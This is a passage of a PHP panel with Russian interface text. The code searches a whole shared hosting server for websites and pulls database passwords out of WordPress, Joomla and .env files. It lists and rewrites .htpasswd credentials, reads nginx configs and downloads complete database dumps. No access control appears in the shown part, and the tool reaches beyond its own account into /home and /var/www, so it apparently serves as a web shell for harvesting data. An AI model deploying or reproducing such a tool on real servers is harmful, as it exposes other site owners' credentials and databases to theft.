            if (trim($u) === $username) { $new_lines[] = $username.':'.$new_hash; $found = true; continue; }
        }
        $new_lines[] = $line;
    }
    if (!$found) { echo json_encode(array('success'=>false,'error'=>'Пользователь не найден')); exit; }
    $result = file_put_contents($htpasswd_path, implode("\n", $new_lines)."\n");
    if ($result === false) { echo json_encode(array('success'=>false,'error'=>'Ошибка записи')); exit; }
    echo json_encode(array('success'=>true,'new_hash'=>$new_hash));
    exit;
}

// === DB Dumper (из dumper.php) ===
function db_esc_ident($name) {
    return '`' . str_replace('`', '``', $name) . '`';
}
function db_sanitize_file_part($value) {
    $value = strtolower(trim($value));
    $value = preg_replace('/[^a-z0-9._-]+/', '-', $value);
    $value = trim((string) $value, '-');
    return $value !== '' ? $value : 'site';
}
function db_credentials_empty() {
    return array(
        'db_host'    => '127.0.0.1',
        'db_port'    => '3306',
        'db_name'    => '',
        'db_user'    => '',
        'db_pass'    => '',
        'db_charset' => 'utf8mb4',
    );
}
function parse_db_host_port($host) {
    $host = trim((string) $host);
    $port = null;
    if ($host === '') return array('127.0.0.1', null);
    if (preg_match('/^([^:]+):(\d+)$/', $host, $m) && strpos($host, '/') === false) {
        return array($m[1], $m[2]);
    }
    return array($host, null);
}
function merge_db_credentials($base, $overlay) {
    foreach ($overlay as $k => $v) {
        if ($v === null) continue;
        if (is_string($v) && $v === '' && $k !== 'db_pass') continue;
        $base[$k] = $v;
    }
    return $base;
}
function db_credentials_is_complete($creds) {
    return trim($creds['db_name']) !== '' && trim($creds['db_user']) !== '';
}
function db_credentials_from_wp($wp) {
    $c = db_credentials_empty();
    if (!empty($wp['DB_NAME']))     $c['db_name'] = $wp['DB_NAME'];
    if (!empty($wp['DB_USER']))     $c['db_user'] = $wp['DB_USER'];
    if (isset($wp['DB_PASSWORD']))  $c['db_pass'] = $wp['DB_PASSWORD'];
    if (!empty($wp['DB_CHARSET']))  $c['db_charset'] = $wp['DB_CHARSET'];
    if (!empty($wp['DB_HOST'])) {
        list($h, $p) = parse_db_host_port($wp['DB_HOST']);
        $c['db_host'] = $h;
        if ($p !== null) $c['db_port'] = $p;
    }
    return $c;
}
function db_credentials_from_env($env) {
    $map = array(
        'db_host'    => array('DB_HOST', 'DATABASE_HOST', 'MYSQL_HOST', 'DB_HOSTNAME'),
        'db_port'    => array('DB_PORT', 'DATABASE_PORT', 'MYSQL_PORT'),
        'db_name'    => array('DB_DATABASE', 'DB_NAME', 'DATABASE_NAME', 'MYSQL_DATABASE'),
        'db_user'    => array('DB_USERNAME', 'DB_USER', 'DATABASE_USER', 'MYSQL_USER'),
        'db_pass'    => array('DB_PASSWORD', 'DB_PASS', 'DATABASE_PASSWORD', 'MYSQL_PASSWORD'),
        'db_charset' => array('DB_CHARSET', 'DATABASE_CHARSET', 'MYSQL_CHARSET'),
    );
    $c = db_credentials_empty();
    foreach ($map as $field => $keys) {
        foreach ($keys as $key) {
            if (isset($env[$key]) && $env[$key] !== '') {
                if ($field === 'db_host') {
                    list($h, $p) = parse_db_host_port($env[$key]);
                    $c['db_host'] = $h;
                    if ($p !== null) $c['db_port'] = $p;
                } else {
                    $c[$field] = $env[$key];
                }
                break;
            }
        }
    }
    return $c;
}
function db_credentials_from_joomla($joo) {
    $c = db_credentials_empty();
    if (!empty($joo['db']))       $c['db_name'] = $joo['db'];
    if (!empty($joo['user']))     $c['db_user'] = $joo['user'];
    if (isset($joo['password']))  $c['db_pass'] = $joo['password'];
    if (!empty($joo['host'])) {
        list($h, $p) = parse_db_host_port($joo['host']);
        $c['db_host'] = $h;
        if ($p !== null) $c['db_port'] = $p;
    }
    return $c;
}
function site_db_credentials_from_parts($env_vars, $wp_vars, $joo_vars) {
    $creds = db_credentials_empty();
    if (!empty($wp_vars))  $creds = merge_db_credentials($creds, db_credentials_from_wp($wp_vars));
    if (!empty($env_vars)) $creds = merge_db_credentials($creds, db_credentials_from_env($env_vars));
    if (!empty($joo_vars)) $creds = merge_db_credentials($creds, db_credentials_from_joomla($joo_vars));
    return db_credentials_is_complete($creds) ? $creds : null;
}
function parse_db_config_snippet($text) {
    $text = (string) $text;
    if (trim($text) === '') return db_credentials_empty();

    $aliases = array(
        'db_host'    => array('DB_HOST', 'DB_HOSTNAME', 'DATABASE_HOST', 'MYSQL_HOST', 'host', 'hostname'),
        'db_port'    => array('DB_PORT', 'DATABASE_PORT', 'MYSQL_PORT', 'port'),
        'db_name'    => array('DB_NAME', 'DB_DATABASE', 'DATABASE_NAME', 'MYSQL_DATABASE', 'db', 'database', 'dbname'),
        'db_user'    => array('DB_USER', 'DB_USERNAME', 'DATABASE_USER', 'MYSQL_USER', 'user', 'username'),
        'db_pass'    => array('DB_PASSWORD', 'DB_PASS', 'DATABASE_PASSWORD', 'MYSQL_PASSWORD', 'password', 'passwd'),
        'db_charset' => array('DB_CHARSET', 'DATABASE_CHARSET', 'MYSQL_CHARSET', 'charset'),
    );

    $found = db_credentials_empty();
    foreach ($aliases as $field => $keys) {
        foreach ($keys as $key) {
            $val = null;
            $qk = preg_quote($key, '/');
            if (preg_match("/define\s*\(\s*['\"]".$qk."['\"]\s*,\s*['\"]([^'\"]*)['\"]\s*\)/i", $text, $m)) {
                $val = $m[1];
            } elseif (preg_match("/\\\$".$qk."\\s*=\\s*['\"]([^'\"]*)['\"]/i", $text, $m)) {
                $val = $m[1];
            } elseif (preg_match("/public\\s+\\\$".$qk."\\s*=\\s*['\"]([^'\"]*)['\"]/i", $text, $m)) {
                $val = $m[1];
            } elseif (preg_match("/['\"]".$qk."['\"]\\s*=>\\s*['\"]([^'\"]*)['\"]/i", $text, $m)) {
                $val = $m[1];
            } elseif (preg_match("/^\\s*".$qk."\\s*=\\s*['\"]?([^'\"\\s#;]+)['\"]?/im", $text, $m)) {
                $val = trim($m[1], "\"'");
            } elseif (preg_match("/^\\s*".$qk."\\s*=\\s*['\"]([^'\"]*)['\"]/im", $text, $m)) {
                $val = $m[1];
            }
            if ($val !== null) {
                if ($field === 'db_host') {
                    list($h, $p) = parse_db_host_port($val);
                    $found['db_host'] = $h;
                    if ($p !== null) $found['db_port'] = $p;
                } else {
                    $found[$field] = $val;
                }
                break;
            }
        }
    }
    return $found;
}
function dump_input_from_post() {
    return array(
        'db_host'    => isset($_POST['db_host'])    ? trim($_POST['db_host'])    : '127.0.0.1',
        'db_port'    => isset($_POST['db_port'])    ? trim($_POST['db_port'])    : '3306',
        'db_name'    => isset($_POST['db_name'])    ? trim($_POST['db_name'])    : '',
        'db_user'    => isset($_POST['db_user'])    ? trim($_POST['db_user'])    : '',
        'db_pass'    => isset($_POST['db_pass'])    ? (string) $_POST['db_pass'] : '',
        'db_charset' => isset($_POST['db_charset']) ? trim($_POST['db_charset']) : 'utf8mb4',
        'site_url'   => isset($_POST['site_url'])   ? trim($_POST['site_url'])   : '',
        'cms'        => isset($_POST['cms'])        ? trim($_POST['cms'])        : '',
        'notes'      => isset($_POST['notes'])      ? trim($_POST['notes'])      : '',
        'site_name'  => isset($_POST['site_name'])  ? trim($_POST['site_name'])  : '',
    );
}
function dump_database_stream($in) {
    if (!class_exists('mysqli')) {
        throw new Exception('Расширение mysqli недоступно на сервере');
    }
    if (!function_exists('deflate_init')) {
        throw new Exception('Требуется zlib (deflate_init) для .sql.gz');
    }
    foreach (array('db_host', 'db_port', 'db_name', 'db_user') as $req) {
        if (trim($in[$req]) === '') {
            throw new Exception('Не заполнено поле: ' . $req);
        }
    }

    mysqli_report(MYSQLI_REPORT_OFF);
    $db = mysqli_init();
    if ($db === false) throw new Exception('Не удалось инициализировать mysqli');

    $connected = $db->real_connect(
        $in['db_host'],
        $in['db_user'],
        $in['db_pass'],
        $in['db_name'],
        (int) $in['db_port']
    );
    if ($connected !== true) {
        throw new Exception('Подключение к БД не удалось: ' . mysqli_connect_error());
    }

    $charset = $in['db_charset'] !== '' ? $in['db_charset'] : 'utf8mb4';
    if (!$db->set_charset($charset)) {
        throw new Exception('Не удалось установить charset: ' . $db->error);
    }

    $tableList = $db->query('SHOW FULL TABLES WHERE Table_type = "BASE TABLE"');
    if ($tableList === false) throw new Exception('Не удалось получить список таблиц: ' . $db->error);
    $tables = array();
    while ($row = $tableList->fetch_row()) $tables[] = (string) $row[0];
    $tableList->free();

    $label = $in['site_url'];
    if ($label === '' && !empty($in['site_name'])) $label = $in['site_name'];
    $siteHost = parse_url($label, PHP_URL_HOST);
    if (!is_string($siteHost) || $siteHost === '') {
        $siteHost = $label !== '' ? $label : $in['db_name'];
    }
    $fileBase = db_sanitize_file_part($siteHost) . '_' . db_sanitize_file_part($in['db_name']);
    $fileName = $fileBase . '_' . gmdate('Ymd-His') . 'Z.sql.gz';

    header('Content-Type: application/gzip');
    header('Content-Disposition: attachment; filename="' . $fileName . '"');
    header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
    header('Pragma: no-cache');

    $out = fopen('php://output', 'wb');
    if ($out === false) throw new Exception('Не удалось открыть поток вывода');

    $zip = deflate_init(ZLIB_ENCODING_GZIP, array('level' => 9));
    if ($zip === false) throw new Exception('Не удалось инициализировать gzip');

    $write = function ($line) use ($out, $zip) {
        $chunk = deflate_add($zip, $line, ZLIB_NO_FLUSH);
        if ($chunk === false) throw new Exception('Ошибка записи в gzip');
        fwrite($out, $chunk);
    };

    $write("-- Dump generated at " . gmdate('c') . "\n");
    if ($in['site_url'] !== '')   $write("-- Site URL: " . $in['site_url'] . "\n");
    if ($in['site_name'] !== '')  $write("-- Site: " . $in['site_name'] . "\n");
    if ($in['cms'] !== '')        $write("-- CMS: " . str_replace(array("\r", "\n"), ' ', $in['cms']) . "\n");
    if ($in['notes'] !== '')      $write("-- Notes: " . str_replace(array("\r", "\n"), ' ', $in['notes']) . "\n");
    $write("-- Database: " . $in['db_name'] . "\n\n");
    $write("SET NAMES " . $charset . ";\n");
    $write("SET FOREIGN_KEY_CHECKS=0;\n\n");

    foreach ($tables as $table) {
        $tableIdent = db_esc_ident($table);
        $write("-- ----------------------------\n");
        $write("-- Structure for " . $tableIdent . "\n");
        $write("-- ----------------------------\n");
        $write("DROP TABLE IF EXISTS " . $tableIdent . ";\n");

        $createRes = $db->query('SHOW CREATE TABLE ' . $tableIdent);
        if ($createRes === false) throw new Exception('SHOW CREATE TABLE ' . $table . ': ' . $db->error);
        $createRow = $createRes->fetch_assoc();
        if (!isset($createRow['Create Table'])) throw new Exception('Некорректный ответ SHOW CREATE TABLE: ' . $table);
        $write($createRow['Create Table'] . ";\n\n");
        $createRes->free();

        $write("-- ----------------------------\n");
        $write("-- Data for " . $tableIdent . "\n");
        $write("-- ----------------------------\n");

        $rowsRes = $db->query('SELECT * FROM ' . $tableIdent, MYSQLI_USE_RESULT);
        if ($rowsRes === false) throw new Exception('SELECT * FROM ' . $table . ': ' . $db->error);

        while ($row = $rowsRes->fetch_assoc()) {
            $cols = array();
            $vals = array();
            foreach ($row as $col => $val) {
                $cols[] = db_esc_ident((string) $col);
                $vals[] = $val === null ? 'NULL' : "'" . $db->real_escape_string((string) $val) . "'";
            }
            $write('INSERT INTO ' . $tableIdent . ' (' . implode(', ', $cols) . ') VALUES (' . implode(', ', $vals) . ");\n");
        }
        $rowsRes->free();
        $write("\n");
    }

    $write("SET FOREIGN_KEY_CHECKS=1;\n");
    $finalChunk = deflate_add($zip, '', ZLIB_FINISH);
    if ($finalChunk === false) throw new Exception('Не удалось завершить gzip');
    fwrite($out, $finalChunk);
    fflush($out);
    fclose($out);
    $db->close();
    exit;
}

if (isset($_POST['action']) && $_POST['action'] === 'parse_db_config') {
    header('Content-Type: application/json; charset=UTF-8');
    $snippet = isset($_POST['config_snippet']) ? (string) $_POST['config_snippet'] : '';
    $parsed  = parse_db_config_snippet($snippet);
    echo json_encode(array(
        'success'  => true,
        'fields'   => $parsed,
        'complete' => db_credentials_is_complete($parsed),
    ));
    exit;
}

if (isset($_POST['action']) && $_POST['action'] === 'save_site_db_creds') {
    header('Content-Type: application/json; charset=UTF-8');
    $site_path = isset($_POST['site_path']) ? trim($_POST['site_path']) : '';
    if (!$site_path || !@is_dir($site_path)) {
        echo json_encode(array('success' => false, 'error' => 'Некорректный путь сайта'));
        exit;
    }
    $creds = null;
    if (!empty($_POST['config_snippet'])) {
        $creds = parse_db_config_snippet((string) $_POST['config_snippet']);
    } elseif (!empty($_POST['db_creds']) && is_string($_POST['db_creds'])) {
        $decoded = json_decode($_POST['db_creds'], true);
        if (is_array($decoded)) $creds = merge_db_credentials(db_credentials_empty(), $decoded);
    }
    if (!$creds || !db_credentials_is_complete($creds)) {
        echo json_encode(array('success' => false, 'error' => 'Не удалось распознать db_name и db_user'));
        exit;
    }
    $site_name = isset($_POST['site_name']) ? trim($_POST['site_name']) : '';
    $states = load_site_states();
    $key = site_state_key($site_path, $site_name);
    if ($key === '') {
        echo json_encode(array('success' => false, 'error' => 'Не удалось определить ключ сайта'));
        exit;
    }
    site_state_touch_entry($states, $key, $site_path, $site_name);
    $states[$key]['db_creds'] = $creds;
    $states[$key]['updated'] = gmdate('c');
    if (!save_site_states($states)) {
        echo json_encode(array('success' => false, 'error' => 'Не удалось сохранить данные (проверьте права на запись: ' . site_state_file_path() . ')'));
        exit;
    }
    echo json_encode(array('success' => true, 'fields' => $creds));
    exit;
}

if (isset($_POST['action']) && $_POST['action'] === 'save_site_statuses') {
    header('Content-Type: application/json; charset=UTF-8');
    $raw = isset($_POST['statuses']) ? (string) $_POST['statuses'] : '';
    $decoded = json_decode($raw, true);
    if (!is_array($decoded)) {
        echo json_encode(array('success' => false, 'error' => 'Некорректные данные статусов'));
        exit;
    }
    $current = load_site_statuses();
    foreach ($decoded as $key => $status) {
        $key = trim((string) $key);
        if ($key === '') continue;
        if (site_status_allowed((string) $status)) {
            $current[$key] = (string) $status;
        }
    }
    if (!save_site_statuses_map($current)) {
        echo json_encode(array(
            'success' => false,
            'error'   => 'Не удалось записать файл статусов: ' . site_status_file_path(),
        ));
        exit;
    }
    echo json_encode(array(
        'success'    => true,
        'count'      => count($current),
        'status_file'=> site_status_file_path(),
    ));
    exit;
}

if (isset($_POST['action']) && $_POST['action'] === 'dump_database') {
    try {
        dump_database_stream(dump_input_from_post());
    } catch (Exception $e) {
        header('Content-Type: application/json; charset=UTF-8');
        echo json_encode(array('success' => false, 'error' => $e->getMessage()));
        exit;
    }
}

// === Определение директории сканирования ===
$current_dir = realpath(up_to_wp_runtime_base_dir());
$doc_root_raw = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '';
$root_dir     = $doc_root_raw ? (realpath($doc_root_raw) ?: $doc_root_raw) : $current_dir;

function dir_is_readable($path) {
    if (!$path || !@is_dir($path)) return false;
    return @scandir($path) !== false;
}

function find_public_html_in_path($start) {
    if (!$start) return null;
    $parts = explode('/', str_replace('\\', '/', trim($start, '/')));
    $path  = '';
    $markers = array('public_html', 'httpdocs', 'htdocs', 'www', 'web', 'html');
    foreach ($parts as $part) {
        if ($part === '') continue;
        $path .= '/' . $part;
        if (in_array(strtolower($part), $markers, true)) return $path;
    }
    return null;
}

function find_account_paths($current_dir, $root_dir) {
    $paths = array('account' => null, 'user_home' => null, 'public_html' => null);
    foreach (array($current_dir, $root_dir) as $start) {
        if (!$start) continue;
        if (preg_match('#^(/home/[^/]+)/([^/]+)#', $start, $m)) {
            if (!$paths['user_home']) $paths['user_home'] = $m[1];
            if (!$paths['account'])   $paths['account']   = $m[1] . '/' . $m[2];
        }
        $pub = find_public_html_in_path($start);
        if ($pub && !$paths['public_html']) $paths['public_html'] = $pub;
    }
    return $paths;
}

function path_is_deep_subfolder($path) {
    return (bool) preg_match('#/(wp-content|themes|plugins|mu-plugins|dist|vendor|node_modules|cache|uploads)(/|$)#i', $path);
}

function collect_scan_dir_candidates($current_dir, $root_dir) {
    $candidates = array();
    $account = find_account_paths($current_dir, $root_dir);

    if (!empty($_GET['scan_dir'])) {
        $manual = $_GET['scan_dir'];
        $candidates[] = realpath($manual) ?: $manual;
    }

    if (!empty($account['public_html'])) {
        $candidates[] = $account['public_html'];
    }
    if (!empty($account['account'])) {
        $candidates[] = $account['account'];
        $candidates[] = $account['account'] . '/domains';
        $candidates[] = $account['account'] . '/public_html';
    }
    if (!empty($account['user_home'])) {
        $candidates[] = $account['user_home'];
    }

    if ($root_dir) {
        $candidates[] = $root_dir;
        $parent = dirname($root_dir);
        if ($parent && $parent !== $root_dir) {
            $candidates[] = $parent;
        }
        $pub = find_public_html_in_path($root_dir);
        if ($pub) $candidates[] = $pub;
    }

    foreach (array($current_dir, $root_dir) as $start) {
        if (!$start) continue;
        for ($dir = $start, $i = 0; $i < 24 && $dir; $i++) {
            $candidates[] = $dir;
            if (in_array(strtolower(basename($dir)), array('public_html', 'httpdocs', 'htdocs', 'www'), true)) {
                $parent = dirname($dir);
                if ($parent && $parent !== $dir) {
                    $candidates[] = $parent;
                    $candidates[] = $parent . '/domains';
                }
            }
            $parent = dirname($dir);
            if (!$parent || $parent === $dir) break;
            $dir = $parent;
        }
    }

    $candidates[] = '/home';
    foreach (array('/var/softaculous', '/var/www') as $extra_root) {
        if (@is_dir($extra_root)) {
            $candidates[] = $extra_root;
        }
    }

    $unique = array();
    foreach ($candidates as $path) {
        if (!$path) continue;
        $real = @realpath($path);
        $key  = $real ?: $path;
        if (!isset($unique[$key])) $unique[$key] = $key;
    }
    return array_values($unique);
}

function score_scan_candidate($dir) {
    if (!dir_is_readable($dir)) return -1;
    $score = 0;
    $base = strtolower(basename($dir));
    if ($base === 'public_html') $score += 120;
    if ($base === 'domains')     $score += 100;
    if (preg_match('/^serwer\d+$/i', $base)) $score += 80;
    if ($base === 'platne' || $base === 'home') $score += 40;
    if (path_is_deep_subfolder($dir)) $score -= 80;

    $items = @scandir($dir);
    if ($items === false) return -1;
    $site_subdirs = 0;
    $skip = array('cgi-bin','lost+found','.well-known','tmp','cache','logs','.git','node_modules','vendor_backup');
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') continue;
        $full = $dir . '/' . $item;
        if (!@is_dir($full)) continue;
        if (in_array(strtolower($item), $skip, true)) continue;
        if (dir_looks_like_site($full)) $site_subdirs++;
    }
    $score += $site_subdirs * 15;
    if ($site_subdirs === 0 && dir_looks_like_site($dir)) $score += 12;
    return $score;
}

function resolve_scan_roots($current_dir, $root_dir) {
    if (!empty($_GET['scan_dir'])) {
        $manual = $_GET['scan_dir'];
        $path = realpath($manual) ?: $manual;
        return array($path);
    }

    $candidates = collect_scan_dir_candidates($current_dir, $root_dir);
    $scored = array();
    foreach ($candidates as $path) {
        $s = score_scan_candidate($path);
        if ($s >= 0) $scored[] = array('path' => $path, 'score' => $s);
    }
    usort($scored, function($a, $b) {
        if ($a['score'] !== $b['score']) return $b['score'] - $a['score'];
        return strlen($a['path']) - strlen($b['path']);
    });

    $account = find_account_paths($current_dir, $root_dir);
    $forced = array();
    if (!empty($account['public_html'])) $forced[] = $account['public_html'];
    if (!empty($account['account'])) {
        $forced[] = $account['account'];
        $forced[] = $account['account'] . '/domains';
    }
    if (!empty($account['user_home'])) $forced[] = $account['user_home'];
    if ($root_dir) $forced[] = $root_dir;

    $roots = $forced;
    $min_score = 5;
    foreach ($scored as $row) {
        if ($row['score'] < $min_score) continue;
        $roots[] = $row['path'];
    }
    if (count($roots) < 3) {
        foreach ($scored as $row) {
            $roots[] = $row['path'];
        }
    }

    $unique = array();
    $readable = array();
    foreach ($roots as $r) {
        if (!$r) continue;
        $key = @realpath($r) ?: $r;
        if (isset($unique[$key])) continue;
        $unique[$key] = true;
        if (dir_is_readable($r)) $readable[] = $r;
    }
    return array_slice($readable, 0, 10);
}

$scan_dir_tried = collect_scan_dir_candidates($current_dir, $root_dir);
$scan_roots     = resolve_scan_roots($current_dir, $root_dir);
$scan_dir       = !empty($scan_roots) ? $scan_roots[0] : ($root_dir ?: $current_dir);

// === Парсеры конфигов ===
function parse_env($path) {
    if (!@file_exists($path)) return array();
    $lines = @file($path, FILE_IGNORE_NEW_LINES|FILE_SKIP_EMPTY_LINES);
    if (!$lines) return array();
    $vars = array();
    foreach ($lines as $line) {
        $line = trim($line);
        if ($line===''||$line[0]==='#') continue;
        if (strpos($line,'=')!==false) { list($k,$v)=explode('=',$line,2); $vars[trim($k)]=trim(trim($v),"\"'"); }
    }
    return $vars;
}
function parse_wp_config($path) {
    if (!@file_exists($path)) return array();
    $content = @file_get_contents($path); if (!$content) return array();
    $vars = array();
    foreach (array('DB_NAME','DB_USER','DB_PASSWORD','DB_HOST','DB_CHARSET','DB_COLLATE') as $k) {
        if (preg_match("/define\s*\(\s*['\"]".$k."['\"]\s*,\s*['\"]([^'\"]*)['\"]\s*\)/i", $content, $m)) $vars[$k] = $m[1];
    }
    if (preg_match('/\$table_prefix\s*=\s*\'([^\']+)\'/',$content,$m)) $vars['table_prefix']=$m[1];
    return $vars;
}
function parse_joomla_config($path) {
    if (!@file_exists($path)) return array();
    $content = @file_get_contents($path); if (!$content) return array();
    $vars = array();
    foreach (array('db','host','user','password','dbprefix','log_path','tmp_path') as $k)
        if (preg_match("/public\s+\$$k\s*=\s*'([^']*)'/", $content, $m)) $vars[$k]=$m[1];
    return $vars;
}
function parse_htaccess($path) {
    if (!@file_exists($path)) return array();
    $content = @file_get_contents($path); if (!$content) return array();
    $result = array();
    if (preg_match('/AuthType\s+Basic/i',$content)) $result['auth_type']='Basic';
    if (preg_match('/AuthName\s+"([^"]+)"/i',$content,$m)) $result['auth_name']=$m[1];
    elseif (preg_match("/AuthName\s+'([^']+)'/i",$content,$m)) $result['auth_name']=$m[1];
    if (preg_match('/AuthUserFile\s+(\S+)/i',$content,$m)) $result['htpasswd_path']=$m[1];
    $protected=array();
    if (preg_match_all('/<Files\s+([^>]+)>/i',$content,$matches)) $protected=$matches[1];
    if (preg_match('/require\s+valid-user/i',$content)&&empty($protected)) $protected[]='* (весь сайт)';
    if (!empty($protected)) $result['protected_files']=implode(', ',$protected);
    return $result;
}
function parse_htpasswd($path) {
    if (!$path||!@file_exists($path)) return array();
    $lines = @file($path, FILE_IGNORE_NEW_LINES|FILE_SKIP_EMPTY_LINES); if (!$lines) return array();
    $users = array();
    foreach ($lines as $line) {
        $line=trim($line); if ($line===''||$line[0]==='#') continue;
        if (strpos($line,':')!==false) { list($u,$h)=explode(':',$line,2); $users[]=array('user'=>trim($u),'hash'=>trim($h)); }
    }
    return $users;
}
function find_nginx_config($site_name) {
    $paths = array('/etc/nginx/sites-enabled/'.$site_name,'/etc/nginx/sites-available/'.$site_name,
        '/etc/nginx/conf.d/'.$site_name.'.conf','/usr/local/nginx/conf/vhosts/'.$site_name.'.conf');
    foreach ($paths as $p) if (@file_exists($p)) return $p;
    foreach (array('/etc/nginx/sites-enabled','/etc/nginx/sites-available','/etc/nginx/conf.d') as $d) {
        if (!@is_dir($d)) continue;
        $files=@scandir($d); if (!$files) continue;
        foreach ($files as $f) {
            if ($f==='.'||$f==='..') continue;
            $fp=$d.'/'.$f; if (!@is_file($fp)) continue;
            $c=@file_get_contents($fp);
            if ($c&&stripos($c,$site_name)!==false) return $fp;
        }
    }
    return null;
}
function parse_nginx_config($path) {
    if (!$path||!@file_exists($path)) return array();
    $content=@file_get_contents($path); if (!$content) return array();
    $result=array('config_file'=>$path);
    if (preg_match('/auth_basic\s+"([^"]+)"/i',$content,$m)) $result['auth_basic']=$m[1];
    elseif (preg_match('/auth_basic\s+(\S+)/i',$content,$m)&&$m[1]!=='off') $result['auth_basic']=$m[1];
    if (preg_match('/auth_basic_user_file\s+(\S+);/i',$content,$m)) $result['auth_basic_user_file']=$m[1];
    if (preg_match('/server_name\s+([^;]+);/i',$content,$m)) $result['server_name']=trim($m[1]);
    return $result;
}
function detect_cms($dir) {
    $markers = array(
        'WordPress'            => array('wp-config.php','wp-login.php','wp-admin'),
        'WordPress (no config)'=> array('wp-login.php','wp-admin'),
        'Joomla'               => array('configuration.php','administrator'),
        'Joomla (no config)'   => array('administrator'),
        'Laravel'              => array('artisan','bootstrap/app.php'),
        'Opencart'             => array('config.php','admin/config.php'),
        'Drupal'               => array('sites/default/settings.php'),
        'Magento'              => array('app/etc/env.php'),
        'PrestaShop'           => array('config/settings.inc.php'),
        'Symfony'              => array('symfony.lock','bin/console'),
        'Yii2'                 => array('yii','config/web.php'),
        'Unknown (has .env)'   => array('.env'),
        'Static / Unknown'     => array('index.php','index.html'),
    );
    $found=array();
    foreach ($markers as $cms=>$files)
        foreach ($files as $file)
            if (@file_exists($dir.'/'.$file)) { $found[$cms]=true; break; }
    foreach (array('WordPress','Joomla','Laravel','Opencart','Drupal','Magento','PrestaShop','Symfony','Yii2') as $cms)
        if (isset($found[$cms])) return $cms;
    if (isset($found['WordPress (no config)'])) return 'WordPress (no config)';
    if (isset($found['Joomla (no config)']))    return 'Joomla (no config)';
    if (isset($found['Unknown (has .env)']))    return 'Unknown (has .env)';
    if (isset($found['Static / Unknown']))      return 'Static / Unknown';
    return 'Empty / Not a site';
}
function scan_skip_dir_names() {
    return array('cgi-bin', 'lost+found', '.well-known', '.git', 'node_modules', 'vendor_backup', '.svn', '.hg');
}

function scan_var_system_dir_names() {
    return array(
        'log', 'logs', 'lock', 'local', 'migrate', 'named', 'run', 'tmp', 'spool', 'cache',
        'lib', 'lib64', 'mail', 'opt', 'empty', 'snap', 'preserve', 'crash', 'yp', 'nis',
        'games', 'ftp', 'agentx', 'decimal', 'db', 'adm', 'soft', 'srv', 'media', 'mnt',
        'misc', 'proc', 'sys', 'dev', 'account', 'gopher', 'kerberos', 'softtmp', 'softwww',
    );
}

function scan_infrastructure_dir_basenames() {
    return array(
        'softaculous', 'softwww', 'softtmp', 'bin', 'sbin', 'usr', 'etc', 'boot', 'root',
        'proc', 'sys', 'dev', 'lib64', 'selinux', 'polkit-1',
    );
}

function scan_is_infrastructure_dir($path) {
    $base = strtolower(basename(rtrim(str_replace('\\', '/', (string) $path), '/')));
    if (in_array($base, scan_infrastructure_dir_basenames(), true)) {
        return true;
    }
    $norm = str_replace('\\', '/', (string) $path);
    if (preg_match('#^/var/softaculous(/|$)#i', $norm)) {
        return true;
    }
    return false;
}

function scan_path_purpose_dir_map() {
    return array(
        'softaculous' => array(
            'Softaculous — установщик CMS',
            'Панель автоустановки: WordPress, Joomla, бэкапы, обновления. Это не сайт клиента — ищите сайты в www/, domains/ или public_html.',
        ),
        'softwww' => array(
            'Softaculous — служебный веб',
            'Вспомогательные PHP/статика установщика и панели. Не путать с доменом клиента; дамп БД обычно не нужен.',
        ),
        'softtmp' => array(
            'Softaculous — временные файлы',
            'Кэш и temp при установке/обновлении скриптов. Можно чистить только через панель, вручную не удалять на проде.',
        ),
        'account' => array(
            'Учёт ресурсов (pacct/sacct)',
            'Статистика использования CPU/диска процессами. Для биллинга и аудита сервера, не для сайтов.',
        ),
        'adm' => array(
            'Административные данные /var/adm',
            'Системные отчёты, уведомления, данные adm. Только root; к веб-сайтам не относится.',
        ),
        'crash' => array(
            'Дампы сбоев (abrt/apport)',
            'Сохранённые падения процессов и ядра. Для диагностики админом; не трогать без понимания.',
        ),
        'db' => array(
            'Служебная БД /var/db',
            'Локальные БД системы (например NIS/cron). Не MySQL сайтов — БД сайта в wp-config/.env.',
        ),
        'empty' => array(
            'Пустой домашний каталог',
            'Шаблон «пустого» home для системных пользователей без логина. Не размещение сайтов.',
        ),
        'ftp' => array(
            'FTP-домашние каталоги',
            'Chroot и файлы FTP-пользователей. Сайт может дублироваться в www — сверяйте с vhost.',
        ),
        'games' => array(
            'Игровые данные /var/games',
            'Счёт и файлы игр из пакетов Linux. К хостингу сайтов не относится.',
        ),
        'gopher' => array(
            'Gopher (устаревший протокол)',
            'Корень gopher-сервиса, если включён. Практически не используется на shared-хостинге.',
        ),
        'kerberos' => array(
            'Kerberos /var/kerberos',
            'Ключи и конфигурация Kerberos (SSO, AD). Служебно для аутентификации в сети.',
        ),
        'lib' => array(
            'Состояние пакетов /var/lib',
            'Данные установленных служб (MySQL, Docker, apt). Не корень document root сайта.',
        ),
        'lib64' => array(
            'Библиотеки 64-bit',
            'Системные библиотеки или состояние пакетов. Не каталог публикации HTML.',
        ),
        'local' => array(
            'Локальные данные /var/local',
            'Файлы пакетов, не попавшие в /usr. Резервные конфиги, локальные скрипты.',
        ),
        'lock' => array(
            'Блокировки процессов',
            'Lock-файлы (часто ссылка на /run/lock). Служебно; не удалять — возможны сбои служб.',
        ),
        'log' => array(
            'Системные логи /var/log',
            'Apache/Nginx error.log, PHP-FPM, MySQL, cron, mail. Поиск 500/403, взломов, нехватки места.',
        ),
        'logs' => array(
            'Логи приложения',
            'Логи конкретного сайта или панели (access/error). Ротация и анализ трафика/ошибок.',
        ),
        'mail' => array(
            'Почтовые ящики (spool)',
            'Входящая/исходящая почта MTA (часто /var/spool/mail). Письма, очереди, не веб-корень.',
        ),
        'migrate' => array(
            'Миграции хостинга',
            'Данные переноса аккаунта (зависит от провайдера). Временные или служебные файлы миграции.',
        ),
        'named' => array(
            'DNS BIND (named)',
            'Зоны, кэш и конфиги DNS-сервера. Управление доменами на NS, не PHP-сайт.',
        ),
        'nis' => array(
            'NIS / сетевой каталог',
            'Старый механизм общих passwd/group по сети. На VPS обычно пусто или не используется.',
        ),
        'opt' => array(
            'Доп. ПО /var/opt',
            'Сторонние пакеты вне /usr. Иногда проприетарный софт хостера.',
        ),
        'preserve' => array(
            'Сохранённые файлы при обновлении',
            'Файлы, сохранённые rpm/dpkg при обновлении. Резерв на откат, не сайт.',
        ),
        'run' => array(
            'Runtime /run (pid, сокеты)',
            'PID-файлы и сокеты работающих служб (часто бывший /var/run). Перезапуск служб — после изменений.',
        ),
        'spool' => array(
            'Очереди (cron, print, mail)',
